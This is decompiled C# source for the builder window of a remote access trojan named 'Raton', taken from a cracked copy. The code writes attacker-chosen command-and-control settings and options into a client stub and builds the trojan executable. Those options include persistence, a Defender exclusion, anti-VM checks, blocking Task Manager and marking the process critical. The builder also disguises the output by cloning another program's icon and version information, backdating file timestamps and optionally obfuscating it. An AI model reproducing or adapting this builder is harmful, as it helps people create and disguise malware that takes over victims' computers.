// Decompiled with JetBrains decompiler
// Type: Raton.Windows.Builder
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe

using DarkModeForms;
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using Microsoft.Win32;
using Mono.Cecil;
using Server.Classes;
using Stuff;
using System;
using System.CodeDom.Compiler;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Net.Http;
using System.Runtime.InteropServices;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Controls.Primitives;
using System.Windows.Input;
using System.Windows.Interop;
using System.Windows.Markup;
using System.Windows.Media;
using System.Windows.Media.Animation;
using System.Windows.Media.Imaging;
using Vestris.ResourceLib;

#nullable disable
namespace Raton.Windows;

public partial class Builder : Window
{
  private const int DWMWA_USE_IMMERSIVE_DARK_MODE = 20;
  private string _mutx = Helpers.Random(23);
  private string _selectedIconPath = string.Empty;
  private int _activeTab;
  private Border[] _navBorders;
  private Border[] _navAccents;
  private TextBlock[] _navIcons;
  private TextBlock[] _navLabels;

  [DllImport("dwmapi.dll", CharSet = CharSet.Auto)]
  private static extern int DwmSetWindowAttribute(
    IntPtr hwnd,
    int attr,
    ref int attrValue,
    int attrSize);

  public Builder()
  {
    this.InitializeComponent();
    this.WindowStartupLocation = WindowStartupLocation.CenterOwner;
    this._navBorders = new Border[5]
    {
      this.NavCommon,
      this.NavNetwork,
      this.NavExecution,
      this.NavAssembly,
      this.NavAgreement
    };
    this._navAccents = new Border[5]
    {
      this.AccCommon,
      this.AccNetwork,
      this.AccExecution,
      this.AccAssembly,
      this.AccAgreement
    };
    this._navIcons = new TextBlock[5]
    {
      this.IcoCommon,
      this.IcoNetwork,
      this.IcoExecution,
      this.IcoAssembly,
      this.IcoAgreement
    };
    this._navLabels = new TextBlock[5]
    {
      this.LblCommon,
      this.LblNetwork,
      this.LblExecution,
      this.LblAssembly,
      this.LblAgreement
    };
    try
    {
      this.TxtAgreement.Text = Raton.Properties.Resources.AgreementText;
    }
    catch
    {
      this.TxtAgreement.Text = "[Agreement text not found]";
    }
    this.Loaded += (RoutedEventHandler) ((s, e) => this.PlayFadeIn());
  }

  private void PlayFadeIn()
  {
    DoubleAnimation animation = new DoubleAnimation(0.0, 1.0, new Duration(TimeSpan.FromSeconds(0.35)));
    DoubleAnimation doubleAnimation = animation;
    CubicEase cubicEase = new CubicEase();
    cubicEase.EasingMode = EasingMode.EaseOut;
    doubleAnimation.EasingFunction = (IEasingFunction) cubicEase;
    this.RootGrid.BeginAnimation(UIElement.OpacityProperty, (AnimationTimeline) animation);
    this.ApplyDarkMode();
  }

  private void ApplyDarkMode()
  {
    bool flag = this.IsWindowsDarkMode();
    IntPtr handle = new WindowInteropHelper((Window) this).Handle;
    int attrValue = flag ? 1 : 0;
    Builder.DwmSetWindowAttribute(handle, 20, ref attrValue, Marshal.SizeOf(typeof (int)));
  }

  private bool IsWindowsDarkMode()
  {
    using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize"))
    {
      if (registryKey != null)
      {
        if (registryKey.GetValue("AppsUseLightTheme") is int num)
          return num == 0;
      }
    }
    return false;
  }

  private void AnimateTabSwitch(int from, int to)
  {
    if (from == to)
      return;
    this.MainTabs.SelectedIndex = to;
    if (!(new TabItem[5]
    {
      this.TabCommon,
      this.TabNetwork,
      this.TabExecution,
      this.TabAssembly,
      this.TabAgreement
    }[to].Content is FrameworkElement content))
      return;
    TranslateTransform translateTransform = new TranslateTransform(0.0, 14.0);
    content.RenderTransform = (Transform) translateTransform;
    content.Opacity = 0.0;
    DoubleAnimation animation1 = new DoubleAnimation(0.0, 1.0, new Duration(TimeSpan.FromSeconds(0.2)));
    DoubleAnimation doubleAnimation1 = animation1;
    CubicEase cubicEase1 = new CubicEase();
    cubicEase1.EasingMode = EasingMode.EaseOut;
    doubleAnimation1.EasingFunction = (IEasingFunction) cubicEase1;
    DoubleAnimation animation2 = new DoubleAnimation(14.0, 0.0, new Duration(TimeSpan.FromSeconds(0.2)));
    DoubleAnimation doubleAnimation2 = animation2;
    CubicEase cubicEase2 = new CubicEase();
    cubicEase2.EasingMode = EasingMode.EaseOut;
    doubleAnimation2.EasingFunction = (IEasingFunction) cubicEase2;
    content.BeginAnimation(UIElement.OpacityProperty, (AnimationTimeline) animation1);
    translateTransform.BeginAnimation(TranslateTransform.YProperty, (AnimationTimeline) animation2);
  }

  private void SetActiveNav(int index)
  {
    int activeTab = this._activeTab;
    this._activeTab = index;
    for (int index1 = 0; index1 < this._navBorders.Length; ++index1)
    {
      bool flag = index1 == index;
      this._navBorders[index1].Style = flag ? (Style) this.FindResource((object) "SideNavActive") : (Style) this.FindResource((object) "SideNav");
      this._navIcons[index1].Style = flag ? (Style) this.FindResource((object) "NavIcoActive") : (Style) this.FindResource((object) "NavIco");
      this._navLabels[index1].Style = flag ? (Style) this.FindResource((object) "NavLblActive") : (Style) this.FindResource((object) "NavLbl");
      this._navAccents[index1].Style = flag ? (Style) this.FindResource((object) "NavAccentActive") : (Style) this.FindResource((object) "NavAccent");
    }
    this.AnimateTabSwitch(activeTab, index);
  }

  private void Nav_Common_Click(object sender, MouseButtonEventArgs e) => this.SetActiveNav(0);

  private void Nav_Network_Click(object sender, MouseButtonEventArgs e) => this.SetActiveNav(1);

  private void Nav_Execution_Click(object sender, MouseButtonEventArgs e) => this.SetActiveNav(2);

  private void Nav_Assembly_Click(object sender, MouseButtonEventArgs e) => this.SetActiveNav(3);

  private void Nav_Agreement_Click(object sender, MouseButtonEventArgs e) => this.SetActiveNav(4);

  private void TogPassword_Changed(object sender, RoutedEventArgs e)
  {
    if (this.TxtPassword == null)
      return;
    TextBox txtPassword = this.TxtPassword;
    bool? isChecked = this.TogPassword.IsChecked;
    bool flag = true;
    int num = isChecked.GetValueOrDefault() == flag & isChecked.HasValue ? 1 : 0;
    txtPassword.IsEnabled = num != 0;
  }

  private void TogDate_Changed(object sender, RoutedEventArgs e)
  {
    if (this.DatePicker1 == null)
      return;
    DatePicker datePicker1 = this.DatePicker1;
    bool? isChecked = this.TogDate.IsChecked;
    bool flag = true;
    int num = isChecked.GetValueOrDefault() == flag & isChecked.HasValue ? 1 : 0;
    datePicker1.IsEnabled = num != 0;
  }

  private void BtnBrowseIcon_Click(object sender, RoutedEventArgs e)
  {
    OpenFileDialog openFileDialog = new OpenFileDialog();
    openFileDialog.Filter = "Icon Files|*.ico;*.exe";
    openFileDialog.Title = "Select a client icon";
    bool? nullable = openFileDialog.ShowDialog();
    bool flag = true;
    if (!(nullable.GetValueOrDefault() == flag & nullable.HasValue))
      return;
    string fileName = openFileDialog.FileName;
    switch (Path.GetExtension(fileName).ToLower())
    {
      case ".ico":
        this._selectedIconPath = fileName;
        this.ShowIconPreview(fileName);
        break;
      case ".exe":
        System.Drawing.Icon associatedIcon = System.Drawing.Icon.ExtractAssociatedIcon(fileName);
        if (associatedIcon == null)
          break;
        string str = Path.Combine(Path.GetTempPath(), $"raton_icon_{Helpers.Random(8)}.ico");
        using (FileStream outputStream = new FileStream(str, FileMode.Create))
          associatedIcon.Save((Stream) outputStream);
        associatedIcon.Dispose();
        this._selectedIconPath = str;
        this.ShowIconPreview(str);
        break;
    }
  }

  private void ShowIconPreview(string icoPath)
  {
    try
    {
      BitmapImage bitmapImage = new BitmapImage();
      bitmapImage.BeginInit();
      bitmapImage.UriSource = new Uri(icoPath, UriKind.Absolute);
      bitmapImage.CacheOption = BitmapCacheOption.OnLoad;
      bitmapImage.DecodePixelWidth = 32 /*0x20*/;
      bitmapImage.EndInit();
      this.IconPreviewImg.Source = (ImageSource) bitmapImage;
      this.IconPreviewImg.Visibility = Visibility.Visible;
      this.IconPlaceholder.Visibility = Visibility.Collapsed;
    }
    catch
    {
    }
  }

  private void TxtHost_KeyDown(object sender, KeyEventArgs e)
  {
    if (e.Key != Key.Return)
      return;
    this.AddHost();
  }

  private void BtnAddHost_Click(object sender, RoutedEventArgs e) => this.AddHost();

  private void BtnRemoveHost_Click(object sender, RoutedEventArgs e) => this.RemoveHost();

  private void AddHost()
  {
    string newItem = this.TxtHost.Text.Trim();
    if (newItem.Length < 5)
      Builder.ShowMsg("Please add a valid host.", "Error", MessageBoxImage.Hand);
    else if (!newItem.Contains(":"))
      Builder.ShowMsg("Host must be in IP:Port format.", "Error", MessageBoxImage.Hand);
    else if (this.HostList.Items.Contains((object) newItem))
    {
      Builder.ShowMsg("This host is already in the list.", "Warning", MessageBoxImage.Exclamation);
    }
    else
    {
      this.HostList.Items.Add((object) newItem);
      this.HostList.SelectedIndex = this.HostList.Items.Count - 1;
      this.TxtHost.Clear();
    }
  }

  private void RemoveHost()
  {
    if (this.HostList.SelectedItem == null)
      Builder.ShowMsg("Please select a host to remove.", "Error", MessageBoxImage.Hand);
    else
      this.HostList.Items.Remove(this.HostList.SelectedItem);
  }

  private async void BtnGetIP_Click(object sender, RoutedEventArgs e)
  {
    try
    {
      HttpClient client = new HttpClient();
      string stringAsync = await client.GetStringAsync("https://api.ipify.org");
      client.Dispose();
      this.TxtHost.Text = stringAsync.Trim();
      client = (HttpClient) null;
    }
    catch
    {
      this.TxtHost.Text = "127.0.0.1";
    }
  }

  private void TogMsgBox_Changed(object sender, RoutedEventArgs e)
  {
    if (this.TxtMsgTitle == null)
      return;
    bool? isChecked = this.TogMsgBox.IsChecked;
    bool flag1 = true;
    bool flag2 = isChecked.GetValueOrDefault() == flag1 & isChecked.HasValue;
    this.TxtMsgTitle.IsEnabled = flag2;
    this.TxtMsgBody.IsEnabled = flag2;
  }

  private void TogWebsite_Changed(object sender, RoutedEventArgs e)
  {
    if (this.TxtWebsite == null)
      return;
    TextBox txtWebsite = this.TxtWebsite;
    bool? isChecked = this.TogWebsite.IsChecked;
    bool flag = true;
    int num = isChecked.GetValueOrDefault() == flag & isChecked.HasValue ? 1 : 0;
    txtWebsite.IsEnabled = num != 0;
  }

  private void TogAssembly_Changed(object sender, RoutedEventArgs e)
  {
    if (this.TxtAsmProduct == null)
      return;
    bool? isChecked = this.TogAssembly.IsChecked;
    bool flag1 = true;
    bool flag2 = isChecked.GetValueOrDefault() == flag1 & isChecked.HasValue;
    this.TxtAsmProduct.IsEnabled = flag2;
    this.TxtAsmDescrip.IsEnabled = flag2;
    this.TxtAsmCompany.IsEnabled = flag2;
    this.TxtAsmCopyright.IsEnabled = flag2;
    this.TxtAsmFilename.IsEnabled = flag2;
    this.TxtAsmVersion.IsEnabled = flag2;
    this.BtnClone.IsEnabled = flag2;
  }

  private void BtnClone_Click(object sender, RoutedEventArgs e)
  {
    OpenFileDialog openFileDialog = new OpenFileDialog();
    openFileDialog.Filter = "Executable (*.exe)|*.exe";
    openFileDialog.Title = "Clone assembly from EXE";
    bool? nullable = openFileDialog.ShowDialog();
    bool flag = true;
    if (!(nullable.GetValueOrDefault() == flag & nullable.HasValue))
      return;
    string fileName = openFileDialog.FileName;
    try
    {
      ModuleDefinition mainModule = AssemblyDefinition.ReadAssembly(fileName).MainModule;
      string str1 = "Nothing";
      string str2 = "Nothing";
      string str3 = "Nothing";
      string str4 = "Nothing";
      string str5 = "Nothing";
      foreach (Mono.Cecil.CustomAttribute customAttribute in mainModule.Assembly.CustomAttributes)
      {
        string fullName = customAttribute.AttributeType.FullName;
        string str6 = customAttribute.ConstructorArguments.Count > 0 ? (customAttribute.ConstructorArguments[0].Value ?? (object) "Nothing").ToString() : "Nothing";
        if (fullName == "System.Reflection.AssemblyProductAttribute")
          str1 = str6;
        if (fullName == "System.Reflection.AssemblyCompanyAttribute")
          str2 = str6;
        if (fullName == "System.Reflection.AssemblyDescriptionAttribute")
          str3 = str6;
        if (fullName == "System.Reflection.AssemblyCopyrightAttribute")
          str4 = str6;
        if (fullName == "System.Reflection.AssemblyVersionAttribute")
          str5 = str6;
      }
      this.TxtAsmDescrip.Text = str3;
      this.TxtAsmProduct.Text = str1;
      this.TxtAsmCompany.Text = str2;
      this.TxtAsmFilename.Text = fileName;
      this.TxtAsmCopyright.Text = str4;
      this.TxtAsmVersion.Text = str5;
      Builder.ShowMsg("Loaded successfully by module.", "Assembly", MessageBoxImage.Asterisk);
    }
    catch (BadImageFormatException ex)
    {
      FileVersionInfo versionInfo = FileVersionInfo.GetVersionInfo(fileName);
      this.TxtAsmDescrip.Text = versionInfo.FileDescription ?? "Nothing";
      this.TxtAsmProduct.Text = versionInfo.ProductName ?? "Nothing";
      this.TxtAsmCompany.Text = versionInfo.CompanyName ?? "Nothing";
      this.TxtAsmFilename.Text = versionInfo.FileName ?? "Nothing";
      this.TxtAsmCopyright.Text = versionInfo.LegalCopyright ?? "Nothing";
      this.TxtAsmVersion.Text = versionInfo.ProductVersion ?? "Nothing";
      Builder.ShowMsg("Loaded successfully by System.", "Assembly", MessageBoxImage.Asterisk);
    }
    catch (Exception ex)
    {
      Builder.ShowMsg(ex.Message, "Error", MessageBoxImage.Hand);
    }
  }

  private void Nav_Save_Click(object sender, MouseButtonEventArgs e) => this.SaveConfig();

  private void Nav_Load_Click(object sender, MouseButtonEventArgs e) => this.LoadConfig();

  private void SaveConfig()
  {
    if (this.HostList.SelectedItem == null)
    {
      Builder.ShowMsg("Please choose a host before exporting (at least 127.0.0.1:0000).", "Error", MessageBoxImage.Hand);
    }
    else
    {
      SaveFileDialog saveFileDialog = new SaveFileDialog();
      saveFileDialog.Filter = "Raton Config (*.ratonfig)|*.ratonfig";
      saveFileDialog.Title = "Save configuration";
      saveFileDialog.DefaultExt = "ratonfig";
      saveFileDialog.FileName = "myBuild.ratonfig";
      bool? nullable = saveFileDialog.ShowDialog();
      bool flag = true;
      if (!(nullable.GetValueOrDefault() == flag & nullable.HasValue))
        return;
      string[] strArray = this.HostList.SelectedItem.ToString().Split(':');
      string contents = $"[RATON]\n<DNS>{Builder.Fix(strArray[0])}<DNS>\n<Port>{Builder.Fix(strArray[1])}<Port>\n<Startup>{Builder.Fix(Builder.BoolStr(this.TogStartup.IsChecked))}<Startup>\n<Hide>{Builder.Fix(Builder.BoolStr(this.TogHideFile.IsChecked))}<Hide>\n<ProcessCritical>{Builder.Fix(Builder.BoolStr(this.TogProCri.IsChecked))}<ProcessCritical>\n<PasswordCheck>{Builder.Fix(Builder.BoolStr(this.TogPassword.IsChecked))}<PasswordCheck>\n<Password>{Builder.Fix(this.TxtPassword.Text)}<Password>\n<Tag>{Builder.Fix(this.TxtTag.Text)}<Tag>\n<Delay>{Builder.Fix(this.TxtDelay.Text)}<Delay>\n<Exclusion>{Builder.Fix(Builder.BoolStr(this.TogDefender.IsChecked))}<Exclusion>\n<MsgBoxEnabled>{Builder.Fix(Builder.BoolStr(this.TogMsgBox.IsChecked))}<MsgBoxEnabled>\n<MsgBoxTitle>{Builder.Fix(this.TxtMsgTitle.Text)}<MsgBoxTitle>\n<MsgBoxDesc>{Builder.Fix(this.TxtMsgBody.Text)}<MsgBoxDesc>\n<AntiVM>{Builder.Fix(Builder.BoolStr(this.TogAntiVM.IsChecked))}<AntiVM>\n<UACPrompt>{Builder.Fix(Builder.BoolStr(this.TogUAC.IsChecked))}<UACPrompt>\n<BlockTaskMgr>{Builder.Fix(Builder.BoolStr(this.TogBlockTask.IsChecked))}<BlockTaskMgr>\n<Website>{Builder.Fix(Builder.BoolStr(this.TogWebsite.IsChecked))}<Website>\n<WebsiteURL>{Builder.Fix(this.TxtWebsite.Text)}<WebsiteURL>\n<ReconnectDelay>{Builder.Fix(this.TxtReconnect.Text)}<ReconnectDelay>\n<MsgBoxIcon>{Builder.Fix(this.GetSelectedMsgBoxIcon())}<MsgBoxIcon>\n";
      File.WriteAllText(saveFileDialog.FileName, contents);
      Builder.ShowMsg("Configuration exported successfully.", "Exported", MessageBoxImage.Asterisk);
    }
  }

  private void LoadConfig()
  {
    OpenFileDialog openFileDialog = new OpenFileDialog();
    openFileDialog.Filter = "RATON Config (*.ratonfig)|*.ratonfig";
    bool? nullable = openFileDialog.ShowDialog();
    bool flag = true;
    if (!(nullable.GetValueOrDefault() == flag & nullable.HasValue))
      return;
    string content = File.ReadAllText(openFileDialog.FileName);
    if (!content.TrimStart().StartsWith("[RATON]"))
    {
      Builder.ShowMsg("This file is corrupted or manually created.", "Error", MessageBoxImage.Hand);
    }
    else
    {
      string newItem = $"{Builder.RV(content, "DNS")}:{Builder.RV(content, "Port")}";
      if (!this.HostList.Items.Contains((object) newItem))
        this.HostList.Items.Add((object) newItem);
      this.HostList.SelectedItem = (object) newItem;
      this.TogStartup.IsChecked = new bool?(Builder.RV(content, "Startup") == "true");
      this.TogHideFile.IsChecked = new bool?(Builder.RV(content, "Hide") == "true");
      this.TogProCri.IsChecked = new bool?(Builder.RV(content, "ProcessCritical") == "true");
      this.TogPassword.IsChecked = new bool?(Builder.RV(content, "PasswordCheck") == "true");
      this.TogDefender.IsChecked = new bool?(Builder.RV(content, "Exclusion") == "true");
      this.TogMsgBox.IsChecked = new bool?(Builder.RV(content, "MsgBoxEnabled") == "true");
      this.TogAntiVM.IsChecked = new bool?(Builder.RV(content, "AntiVM") == "true");
      this.TogUAC.IsChecked = new bool?(Builder.RV(content, "UACPrompt") == "true");
      this.TogBlockTask.IsChecked = new bool?(Builder.RV(content, "BlockTaskMgr") == "true");
      this.TogWebsite.IsChecked = new bool?(Builder.RV(content, "Website") == "true");
      string str = Builder.RV(content, "Password");
      this.TxtPassword.Text = str == "empty" ? "" : str;
      this.TxtTag.Text = Builder.RV(content, "Tag");
      this.TxtMsgTitle.Text = Builder.RV(content, "MsgBoxTitle");
      this.TxtMsgBody.Text = Builder.RV(content, "MsgBoxDesc");
      this.TxtWebsite.Text = Builder.RV(content, "WebsiteURL");
      int result1;
      if (int.TryParse(Builder.RV(content, "Delay"), out result1))
        this.TxtDelay.Text = result1.ToString();
      int result2;
      if (int.TryParse(Builder.RV(content, "ReconnectDelay"), out result2))
        this.TxtReconnect.Text = Math.Max(3, result2).ToString();
      switch (Builder.RV(content, "MsgBoxIcon").ToLower())
      {
        case "error":
          this.RbIconError.IsChecked = new bool?(true);
          break;
        case "information":
          this.RbIconInfo.IsChecked = new bool?(true);
          break;
        case "warning":
          this.RbIconWarn.IsChecked = new bool?(true);
          break;
        case "question":
          this.RbIconQst.IsChecked = new bool?(true);
          break;
        default:
          this.RbIconNone.IsChecked = new bool?(true);
          break;
      }
      this.TogPassword_Changed((object) null, (RoutedEventArgs) null);
      this.TogDate_Changed((object) null, (RoutedEventArgs) null);
      this.TogMsgBox_Changed((object) null, (RoutedEventArgs) null);
      this.TogWebsite_Changed((object) null, (RoutedEventArgs) null);
      this.TogAssembly_Changed((object) null, (RoutedEventArgs) null);
    }
  }

  private async void BtnBuildLight_Click(object sender, RoutedEventArgs e)
  {
    await this.RunBuild("Builder\\Client.exe", true);
  }

  private async void BtnBuildPacked_Click(object sender, RoutedEventArgs e)
  {
    bool? isChecked = this.TogObf.IsChecked;
    bool flag = true;
    if (isChecked.GetValueOrDefault() == flag & isChecked.HasValue)
      Builder.ShowMsg("You can't obfuscate the packaged version.", "Build error", MessageBoxImage.Hand);
    else
      await this.RunBuild("Builder\\clientForCrypters.exe", false);
  }

  private async Task RunBuild(string stub, bool allowObf)
  {
    Builder builder = this;
    string outputFile;
    MemoryStream ms;
    if (!File.Exists(stub))
    {
      Builder.ShowMsg(Path.GetFileName(stub) + " not found.\nDisable your antivirus before building.", "Build error", MessageBoxImage.Hand);
      outputFile = (string) null;
      ms = (MemoryStream) null;
    }
    else if (!builder.ValidateBuildInputs())
    {
      outputFile = (string) null;
      ms = (MemoryStream) null;
    }
    else
    {
      SaveFileDialog saveFileDialog = new SaveFileDialog();
      saveFileDialog.Filter = "Executable (*.exe)|*.exe";
      saveFileDialog.FileName = "ratonClient";
      bool? nullable = saveFileDialog.ShowDialog();
      bool flag1 = true;
      if (!(nullable.GetValueOrDefault() == flag1 & nullable.HasValue))
      {
        outputFile = (string) null;
        ms = (MemoryStream) null;
      }
      else
      {
        builder.Dispatcher.Invoke((Action) (() => this.Hide()));
        string[] strArray = builder.HostList.SelectedItem.ToString().Split(':');
        string selectedHost = strArray[0];
        string selectedPort = strArray[1];
        string startupC = Builder.BoolStr(builder.TogStartup.IsChecked);
        string hideC = Builder.BoolStr(builder.TogHideFile.IsChecked);
        string pcC = Builder.BoolStr(builder.TogProCri.IsChecked);
        string passC = builder.TxtPassword.Text;
        string tagC = string.IsNullOrWhiteSpace(builder.TxtTag.Text) ? "infected" : builder.TxtTag.Text;
        string delayC = builder.TxtDelay.Text;
        string defC = Builder.BoolStr(builder.TogDefender.IsChecked);
        string msgEnC = Builder.BoolStr(builder.TogMsgBox.IsChecked);
        string msgTitleC = builder.TxtMsgTitle.Text;
        string msgDescC = builder.TxtMsgBody.Text;
        string vmC = Builder.BoolStr(builder.TogAntiVM.IsChecked);
        string uacC = Builder.BoolStr(builder.TogUAC.IsChecked);
        string blockC = Builder.BoolStr(builder.TogBlockTask.IsChecked);
        string webC = Builder.BoolStr(builder.TogWebsite.IsChecked);
        string webUrlC = builder.TxtWebsite.Text;
        string reconnC = builder.TxtReconnect.Text;
        string iconC = builder.GetSelectedMsgBoxIcon();
        string rawC = builder.TxtPasteLink.Text;
        if (rawC == "https://paste.ee/d/dQKrJpQJ")
          rawC = "silly21";
        outputFile = saveFileDialog.FileName;
        ms = new MemoryStream(File.ReadAllBytes(stub));
        ModuleDef module = (ModuleDef) ModuleDefMD.Load((Stream) ms);
        await Task.Run((Action) (() =>
        {
          foreach (TypeDef type in (IEnumerable<TypeDef>) module.Types)
          {
            foreach (MethodDef method in (IEnumerable<MethodDef>) type.Methods)
            {
              if (method.HasBody)
              {
                for (int index = 0; index < method.Body.Instructions.Count; ++index)
                {
                  if (method.Body.Instructions[index].OpCode == OpCodes.Ldstr && method.Body.Instructions[index].Operand != null)
                  {
                    string str1 = method.Body.Instructions[index].Operand.ToString();
                    string str2 = (string) null;
                    switch (str1)
                    {
                      case "silly1":
                        str2 = this._mutx;
                        break;
                      case "silly10":
                        str2 = iconC;
                        break;
                      case "silly11":
                        str2 = uacC;
                        break;
                      case "silly13":
                        str2 = webC;
                        break;
                      case "silly14":
                        str2 = webUrlC;
                        break;
                      case "silly15":
                        str2 = vmC;
                        break;
                      case "silly16":
                        str2 = tagC;
                        break;
                      case "silly17":
                        str2 = msgTitleC;
                        break;
                      case "silly18":
                        str2 = blockC;
                        break;
                      case "silly2":
                        str2 = string.IsNullOrEmpty(selectedHost) ? "127.0.0.1" : selectedHost;
                        break;
                      case "silly20":
                        str2 = passC;
                        break;
                      case "silly21":
                        str2 = rawC;
                        break;
                      case "silly22":
                        str2 = reconnC;
                        break;
                      case "silly23":
                        str2 = defC;
                        break;
                      case "silly3":
                        str2 = string.IsNullOrEmpty(selectedPort) ? "8080" : selectedPort;
                        break;
                      case "silly4":
                        str2 = startupC;
                        break;
                      case "silly5":
                        str2 = delayC;
                        break;
                      case "silly6":
                        str2 = pcC;
                        break;
                      case "silly7":
                        str2 = hideC;
                        break;
                      case "silly8":
                        str2 = msgEnC;
                        break;
                      case "silly9":
                        str2 = msgDescC;
                        break;
                    }
                    if (str2 != null)
                      method.Body.Instructions[index].Operand = (object) str2;
                  }
                }
              }
            }
          }
        }));
        if (allowObf)
        {
          nullable = builder.TogObf.IsChecked;
          bool flag2 = true;
          if (nullable.GetValueOrDefault() == flag2 & nullable.HasValue)
          {
            AGObfuscator agObfuscator = new AGObfuscator(module);
          }
        }
        module.Write(outputFile);
        module.Dispose();
        ms.Dispose();
        await Task.Delay(500);
        if (!string.IsNullOrEmpty(builder._selectedIconPath) && File.Exists(builder._selectedIconPath))
          ResourceModifier.ChangeIcon(outputFile, builder._selectedIconPath);
        nullable = builder.TogDate.IsChecked;
        bool flag3 = true;
        if (nullable.GetValueOrDefault() == flag3 & nullable.HasValue && builder.DatePicker1.SelectedDate.HasValue)
        {
          DateTime dateTime = builder.DatePicker1.SelectedDate.Value;
          File.SetCreationTime(outputFile, dateTime);
          File.SetLastWriteTime(outputFile, dateTime);
          File.SetLastAccessTime(outputFile, dateTime);
        }
        nullable = builder.TogAssembly.IsChecked;
        bool flag4 = true;
        if (nullable.GetValueOrDefault() == flag4 & nullable.HasValue)
          builder.ApplyAssembly(outputFile);
        if (uacC == "true")
          ManifestHelper.InjectAdminManifest(outputFile);
        Builder.ShowMsg("Build finished!", "Success", MessageBoxImage.Asterisk);
        builder.Dispatcher.Invoke((Action) (() =>
        {
          this.Hide();
          this.Close();
        }));
        outputFile = (string) null;
        ms = (MemoryStream) null;
      }
    }
  }

  private bool ValidateBuildInputs()
  {
    if (this.HostList.SelectedItem == null)
    {
      if (string.IsNullOrWhiteSpace(this.TxtPasteLink.Text) || this.TxtPasteLink.Text == "https://paste.ee/d/dQKrJpQJ")
        Builder.ShowMsg("Please select a host from the Network tab.", "Error", MessageBoxImage.Hand);
      else
        Builder.ShowMsg("Select a host — even with a raw link it could break.", "Error", MessageBoxImage.Hand);
      return false;
    }
    bool? isChecked = this.TogMsgBox.IsChecked;
    bool flag1 = true;
    if (isChecked.GetValueOrDefault() == flag1 & isChecked.HasValue)
    {
      if (string.IsNullOrWhiteSpace(this.TxtMsgTitle.Text))
      {
        Builder.ShowMsg("Add a title for the message box, or disable it.", "Error", MessageBoxImage.Hand);
        return false;
      }
      if (string.IsNullOrWhiteSpace(this.TxtMsgBody.Text))
      {
        Builder.ShowMsg("Add content for the message box, or disable it.", "Error", MessageBoxImage.Hand);
        return false;
      }
    }
    isChecked = this.TogPassword.IsChecked;
    bool flag2 = true;
    if (isChecked.GetValueOrDefault() == flag2 & isChecked.HasValue && string.IsNullOrWhiteSpace(this.TxtPassword.Text))
    {
      Builder.ShowMsg("Enter a password, or disable it.", "Error", MessageBoxImage.Hand);
      return false;
    }
    isChecked = this.TogAssembly.IsChecked;
    bool flag3 = true;
    if (!(isChecked.GetValueOrDefault() == flag3 & isChecked.HasValue) || !string.IsNullOrWhiteSpace(this.TxtAsmFilename.Text))
      return true;
    Builder.ShowMsg("Enter at least a filename in the Assembly tab, or disable it.", "Error", MessageBoxImage.Hand);
    return false;
  }

  private void ApplyAssembly(string filename)
  {
    try
    {
      VersionResource versionResource = new VersionResource();
      versionResource.LoadFrom(filename);
      versionResource.Language = (ushort) 0;
      StringFileInfo stringFileInfo = (StringFileInfo) versionResource["StringFileInfo"];
      stringFileInfo["InternalName"] = this.TxtAsmFilename.Text;
      stringFileInfo["OriginalFilename"] = this.TxtAsmFilename.Text;
      stringFileInfo["ProductName"] = this.TxtAsmProduct.Text;
      stringFileInfo["CompanyName"] = this.TxtAsmCompany.Text;
      stringFileInfo["FileDescription"] = this.TxtAsmDescrip.Text;
      stringFileInfo["LegalCopyright"] = this.TxtAsmCopyright.Text;
      stringFileInfo["LegalTrademarks"] = this.TxtAsmCopyright.Text;
      stringFileInfo["ProductVersion"] = this.TxtAsmVersion.Text;
      stringFileInfo["FileVersion"] = this.TxtAsmVersion.Text;
      versionResource.SaveTo(filename);
    }
    catch (Exception ex)
    {
      Builder.ShowMsg(ex.Message, "Assembly error", MessageBoxImage.Hand);
    }
  }

  protected override void OnClosing(CancelEventArgs e)
  {
    base.OnClosing(e);
    if (this.HostList.SelectedItem == null || Messenger.MessageBox("Wanna save this configuration?", "Question", MessageBoxButton.YesNo, MessageBoxImage.Question) != MessageBoxResult.Yes)
      return;
    this.SaveConfig();
  }

  private string GetSelectedMsgBoxIcon()
  {
    bool? isChecked1 = this.RbIconError.IsChecked;
    bool flag1 = true;
    if (isChecked1.GetValueOrDefault() == flag1 & isChecked1.HasValue)
      return "Error";
    bool? isChecked2 = this.RbIconInfo.IsChecked;
    bool flag2 = true;
    if (isChecked2.GetValueOrDefault() == flag2 & isChecked2.HasValue)
      return "Information";
    bool? isChecked3 = this.RbIconWarn.IsChecked;
    bool flag3 = true;
    if (isChecked3.GetValueOrDefault() == flag3 & isChecked3.HasValue)
      return "Warning";
    bool? isChecked4 = this.RbIconQst.IsChecked;
    bool flag4 = true;
    return isChecked4.GetValueOrDefault() == flag4 & isChecked4.HasValue ? "Question" : "No icon";
  }

  private static string RV(string content, string key)
  {
    string str1 = $"<{key}>";
    int num1 = content.IndexOf(str1);
    if (num1 == -1)
      return "empty";
    int startIndex = num1 + str1.Length;
    int num2 = content.IndexOf(str1, startIndex);
    if (num2 == -1)
      return "empty";
    string str2 = content.Substring(startIndex, num2 - startIndex);
    return !string.IsNullOrWhiteSpace(str2) ? str2 : "empty";
  }

  private static string Fix(string s)
  {
    return !string.IsNullOrWhiteSpace(s) && !(s.ToLower() == "null") ? s : "empty";
  }

  private static string BoolStr(bool? b)
  {
    bool? nullable = b;
    bool flag = true;
    return !(nullable.GetValueOrDefault() == flag & nullable.HasValue) ? "false" : "true";
  }

  private static void ShowMsg(string msg, string title, MessageBoxImage icon)
  {
    int num = (int) Messenger.MessageBox(msg, title, icon: icon);
  }

  private void MainTabs_SelectionChanged(object sender, SelectionChangedEventArgs e)
  {
  }
}